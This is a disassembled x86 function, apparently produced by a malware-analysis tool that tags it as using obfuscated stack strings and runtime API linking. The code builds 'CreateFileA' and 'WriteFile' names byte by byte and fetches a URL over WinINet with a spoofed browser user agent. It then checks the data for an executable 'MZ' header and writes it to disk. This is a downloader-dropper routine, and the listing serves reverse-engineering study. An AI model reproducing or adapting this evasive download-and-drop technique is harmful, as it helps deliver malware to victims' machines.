Function at 0x1000ff90
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
sub esp, 0x45c
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.FreeLibrary
push str.kernel32.dll
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
mov dword [esp + 0x60], eax
lea eax, [esp + 0x20]
lea ecx, [esp + 0x3c]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x44], 0x6b
mov byte [esp + 0x45], bl
mov byte [esp + 0x46], 0x72
mov byte [esp + 0x47], 0x6e
mov byte [esp + 0x48], bl
mov byte [esp + 0x49], 0x6c
mov byte [esp + 0x4a], 0x33
mov byte [esp + 0x4b], 0x32
mov byte [esp + 0x4c], 0x2e
mov byte [esp + 0x4d], 0x64
mov byte [esp + 0x4e], 0x6c
mov byte [esp + 0x4f], 0x6c
mov byte [esp + 0x50], 0
mov byte [esp + 0x28], 0x43
mov byte [esp + 0x29], 0x72
mov byte [esp + 0x2a], bl
mov byte [esp + 0x2b], 0x61
mov byte [esp + 0x2c], 0x74
mov byte [esp + 0x2d], bl
mov byte [esp + 0x2e], 0x46
mov byte [esp + 0x2f], 0x69
mov byte [esp + 0x30], 0x6c
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], 0x41
mov byte [esp + 0x33], 0
call edi
push eax
call esi
mov dword [esp + 0x10], eax
lea edx, [esp + 0x14]
lea eax, [esp + 0x2c]
push edx
push eax
mov byte [esp + 0x34], 0x6b
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], 0x72
mov byte [esp + 0x37], 0x6e
mov byte [esp + 0x38], bl
mov byte [esp + 0x39], 0x6c
mov byte [esp + 0x3a], 0x33
mov byte [esp + 0x3b], 0x32
mov byte [esp + 0x3c], 0x2e
mov byte [esp + 0x3d], 0x64
mov byte [esp + 0x3e], 0x6c
mov byte [esp + 0x3f], 0x6c
mov byte [esp + 0x40], 0
mov byte [esp + 0x1c], 0x57
mov byte [esp + 0x1d], 0x72
mov byte [esp + 0x1e], 0x69
mov byte [esp + 0x1f], 0x74
mov byte [esp + 0x20], bl
mov byte [esp + 0x21], 0x46
mov byte [esp + 0x22], 0x69
mov byte [esp + 0x23], 0x6c
mov byte [esp + 0x24], bl
mov byte [esp + 0x25], 0
call edi
push eax
call esi
xor ebp, ebp
mov dword [esp + 0x68], eax
mov dword [esp + 0x4c], ebp
mov dword [esp + 0x5c], ebp
mov eax, 1
push str.WININET.dll
mov dword [esp + 0x5c], eax
mov dword [esp + 0x54], eax
call edi
mov ebx, eax
push str.InternetOpenA
push ebx
call esi
push ebp
push ebp
push ebp
push ebp
push str.Mozilla_4.0__compatible_
call eax
mov ebp, eax
test ebp, ebp
jne 0x1001010e
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x45c
ret
push str.InternetOpenUrlA
push ebx
call esi
mov ecx, dword [esp + 0x470]
push 0
push bind
push 0
push 0
push ecx
push ebp
call eax
mov edi, eax
test edi, edi
mov dword [esp + 0x54], edi
jne 0x10010143
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x45c
ret
push str.InternetReadFile
push ebx
call esi
mov edx, dword [esp + 0x474]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push edx
mov dword [esp + 0x80], eax
call dword [esp + 0x2c]
cmp eax, 0xffffffff
mov dword [esp + 0x10], eax
je 0x100101e6
mov edx, dword [esp + 0x54]
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x6c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x4c]
lea ecx, [esp + 0x6c]
push eax
push 0x400
push ecx
push edx
call dword [esp + 0x74]
mov eax, dword [esp + 0x58]
xor edi, edi
cmp eax, edi
je 0x100101ae
cmp word [esp + 0x6c], 0x5a4d
jne 0x100101d3
mov ecx, dword [esp + 0x4c]
lea eax, [esp + 0x5c]
push edi
push eax
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x74]
push ecx
push edx
push eax
mov dword [esp + 0x6c], edi
call dword [esp + 0x7c]
cmp dword [esp + 0x4c], edi
jbe 0x100101d7
jmp 0x10010176
mov dword [esp + 0x50], edi
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0x54]
push str.InternetCloseHandle
push ebx
call esi
mov esi, eax
push edi
call esi
push ebp
call esi
push ebx
call dword [esp + 0x64]
mov ecx, dword [esp + 0x50]
xor eax, eax
pop edi
pop esi
test ecx, ecx
pop ebp
pop ebx
setne al
add esp, 0x45c
ret